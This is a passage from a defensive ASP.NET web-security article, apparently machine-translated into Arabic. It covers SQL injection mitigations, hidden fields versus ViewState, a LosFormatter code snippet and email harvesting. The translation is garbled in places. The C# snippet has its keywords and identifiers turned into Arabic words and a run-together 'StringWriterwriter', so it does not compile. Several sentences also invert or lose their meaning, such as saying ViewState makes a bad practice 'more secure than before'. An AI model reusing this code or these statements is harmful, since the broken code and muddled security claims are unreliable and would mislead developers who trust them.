إذا كنت تستخدم الإجراءات المخزنة، فيمكنك تقليل احتمالية حدوث هذا الهجوم بشكل كبير. في الواقع، مع الإجراءات المخزنة، لا تحتاج إلى إنشاء سلاسل SQL بشكل ديناميكي. بالإضافة إلى ذلك، سيتحقق SQL Server من أن كافة المعلمات لها النوع المحدد. على الرغم من أن هذه التقنيات وحدها ليست آمنة بنسبة 100%، إلى جانب التحقق، إلا أنها ستكون كافية لتحسين الأمان.
والأهم من ذلك، يجب عليك التأكد من أن المستخدمين المصرح لهم فقط هم من يمكنهم تنفيذ العمليات التي قد تكون لها عواقب وخيمة، مثل حذف جدول. وهذا يتطلب تصميمًا دقيقًا للطبقة الوسطى للتطبيق. الأسلوب الجيد (ليس فقط من أجل السلامة) هو الحفاظ على التركيز على الشخصية. يجب تجميع المستخدمين في أدوار وحساب محدد بحد أدنى من الأذونات لكل دور.
قبل بضعة أسابيع، تعرض موقع Wintellect الإلكتروني لهجوم معقد للغاية باستخدام حقن SQL. حاول المتسلل إنشاء برنامج نصي لـ FTP وتشغيله لتنزيل برنامج قابل للتنفيذ قد يكون ضارًا. ولحسن الحظ، فشل الهجوم. أم أن مصادقة المستخدم القوية واستخدام الإجراءات المخزنة واستخدام أذونات SQL Server هي التي تسببت في فشل الهجوم؟
باختصار، يجب عليك اتباع هذه الإرشادات لتجنب حقن تعليمات برمجية SQL ضارة:
• التشغيل باستخدام أقل عدد ممكن من الامتيازات وعدم تنفيذ تعليمات برمجية مثل "sa" مطلقًا.
• تقييد الوصول إلى الإجراءات المخزنة المضمنة.
• تفضل استخدام الاستعلامات ذات معلمات SQL.
• لا يتم إنشاء البيانات من خلال تسلسل السلسلة ولا يتم تكرار أخطاء قاعدة البيانات.
العودة إلى الأعلى الحقول المخفية في ASP التقليدي، كانت الحقول المخفية هي الطريقة الوحيدة للاحتفاظ بالبيانات بين الطلبات. يتم تعبئة أي بيانات تحتاج إلى استردادها عند الطلب التالي في حقل <input> المخفي ويتم تنفيذ تمرير الإرجاع. ماذا يحدث إذا قام شخص ما بتعديل القيمة المخزنة في هذا الحقل على العميل؟ طالما أن النص واضح، فلن تتمكن البيئة من جانب الخادم من اكتشاف ذلك. في ASP.NET، تخدم خاصية ViewState للصفحات وعناصر التحكم الفردية غرضين. من ناحية، يعد ViewState وسيلة لاستمرار الحالة عبر الطلبات؛ ومن ناحية أخرى، يتيح لك ViewState تخزين القيم المخصصة في الحقول المخفية المحمية ولا يمكن التلاعب بها بسهولة.
كما هو موضح في الشكل 2، يتم إلحاق حالة العرض بقيمة تجزئة، ولكل طلب، يتم التحقق من هذه القيمة لاكتشاف ما إذا كان قد حدث تلاعب أم لا. باستثناء حالات قليلة، لا يوجد سبب لاستخدام الحقول المخفية في ASP.NET. تحقق حالة العرض نفس الوظيفة بطريقة أكثر أمانًا. كما ذكرنا على الفور، فإن تخزين القيم الحساسة (مثل الأسعار أو تفاصيل بطاقة الائتمان) في الحقول المخفية بشكل واضح يفتح الباب أمام المتسللين؛ كما يمكن أن يجعل هذه الممارسة السيئة أكثر أمانًا من ذي قبل، نظرًا لأن حالة العرض لها آلية حماية البيانات. ومع ذلك، ضع في اعتبارك أن حالة العرض مقاومة للتلاعب، ولكن السرية غير مضمونة ما لم يتم استخدام التشفير - فتفاصيل بطاقة الائتمان المخزنة في حالة العرض معرضة للخطر على أي حال.
في ASP.NET، متى يكون من المقبول استخدام الحقول المخفية؟ عندما تقوم بإنشاء عنصر تحكم مخصص يحتاج إلى إرسال البيانات مرة أخرى إلى الخادم. على سبيل المثال، افترض أنك تريد إنشاء عنصر تحكم DataGrid جديد يدعم إعادة ترتيب الأعمدة. تحتاج إلى إرسال الطلب الجديد مرة أخرى إلى الخادم في إعادة النشر. إذا لم يتم تخزين هذه المعلومات في حقل مخفي، فأين يمكن تخزينها؟
إذا كان الحقل المخفي عبارة عن حقل قراءة/كتابة، أي أنه من المتوقع أن يكتب العميل إليه، فلا توجد طريقة لمنع هجوم القراصنة بشكل كامل. يمكنك محاولة تجزئة النص أو تشفيره، لكن هذا لا يمنحك ثقة معقولة بأنه لن يتم اختراقه. في هذه المرحلة، أفضل دفاع هو أن يحتوي الحقل المخفي على معلومات خاملة وغير ضارة.
بالإضافة إلى ذلك، تجدر الإشارة إلى أن ASP.NET يعرض فئة غير معروفة يمكن استخدامها لتشفير وتجزئة أي كائن متسلسل. هذه الفئة هي LosFormatter، وهي نفس الفئة التي تطبقها ViewState لإنشاء النص المشفر مرة أخرى إلى العميل.
سلسلة خاصة EncodeText (نص السلسلة) {
StringWriterwriter = new StringWriter();
LosFormatter formatter = new LosFormatter();
formatter.Serialize(writer, text);
إرجاع الكاتب.ToString();
}
يوضح مقتطف التعليمات البرمجية السابق كيفية استخدام LosFormatter لإنشاء شيء مثل حالة العرض، وترميزها، وتجزئتها.
البريد الإلكتروني والبريد العشوائي في نهاية هذه المقالة، اسمحوا لي أن أشير إلى أن اثنتين على الأقل من الهجمات الأكثر شيوعًا (XSS الكلاسيكية والنقرة الواحدة) تتم عادةً عن طريق إغراء الضحايا المطمئنين للنقر على الرابط المغري والمخادع الذي يبدأه الرابط. في كثير من الأحيان يمكننا العثور على مثل هذه الروابط في صندوق الوارد الخاص بنا، على الرغم من مرشحات مكافحة البريد العشوائي. يمكنك شراء الكثير من عناوين البريد الإلكتروني مقابل بضعة دولارات. إحدى التقنيات الرئيسية المستخدمة لإنشاء مثل هذه القوائم هي فحص الصفحات العامة على موقع ويب للعثور على أي شيء يشبه رسالة بريد إلكتروني واسترداده.
إذا تم عرض عنوان بريد إلكتروني على الصفحة، فمن المحتمل أن يتم التقاط العنوان عاجلاً أم آجلاً بواسطة برنامج ويب تلقائي. حقًا؟ وبطبيعة الحال، هذا يعتمد على كيفية عرض البريد الإلكتروني. إذا قمت بتشفيرها، فستخسر. ليس من الواضح أن أي تمثيل آخر، مثل dino-at-microsoft-dot-com، سيكون قادرًا على خداع برامج الويب الآلية، ولكنه بالتأكيد سيجعل أي شخص يقرأ صفحتك يرغب في إجراء اتصال مشروع غاضبًا.
بشكل عام، يجب عليك تحديد طريقة لإنشاء رسائل البريد الإلكتروني بشكل ديناميكي كروابط mailto. المكون المجاني الذي كتبه ماركو بيليناسو يفعل ذلك تمامًا. يمكنك الحصول على التعليمات البرمجية المصدر الكاملة لهذا المكون من موقع ويب DotNet2TheMax.
ملخص هل يشك أحد في أن الويب قد يكون أكثر بيئات التشغيل عدائية؟ السبب الجذري هو أنه يمكن لأي شخص الوصول إلى موقع ويب ومحاولة تمرير بيانات جيدة أو سيئة إليه. ولكن ما الفائدة من إنشاء تطبيق ويب لا يقبل إدخال المستخدم؟
دعونا نواجه الأمر: بغض النظر عن مدى قوة جدار الحماية لديك، وبغض النظر عن عدد مرات تطبيق التصحيحات المتاحة، وطالما أنك تقوم بتشغيل تطبيق ويب يحتوي على عيوب متأصلة، فسيتمكن المهاجم عاجلاً أم آجلاً من الوصول مباشرة إلى القناة الرئيسية، وهو المنفذ 80. انتقل إلى قلب نظامك.
تطبيقات ASP.NET ليست أكثر عرضة للخطر ولا أكثر أمانًا من تطبيقات الويب الأخرى. إن الأمن ونقاط الضعف متجذرة بشكل متساوٍ في ممارسات البرمجة والخبرة الواقعية والعمل الجماعي. إذا لم تكن الشبكة آمنة، فلن يكون هناك أي تطبيق آمن. وبالمثل، بغض النظر عن مدى أمان الشبكة وإدارتها بشكل جيد، إذا كان التطبيق معيبًا، فسيتمكن المهاجمون دائمًا من الوصول.
تتمثل فائدة ASP.NET في أنه يوفر بعض الأدوات الجيدة التي يمكنها، مع القليل من العمل، رفع معايير الأمان إلى مستوى مقبول. وبطبيعة الحال، هذا ليس مستوى عال بما فيه الكفاية. يجب ألا تعتمد بشكل كامل على حلول ASP.NET المضمنة، ولا يجب أن تتجاهلها. تعلم قدر الإمكان عن الهجمات الشائعة.
توفر هذه المقالة قائمة مشروحة بالميزات المضمنة، بالإضافة إلى بعض المعلومات الأساسية عن الهجمات والدفاعات. أما التقنيات المستخدمة للكشف عن الهجمات الصادرة فهي مسألة أخرى وربما تستحق مقالًا خاصًا بها.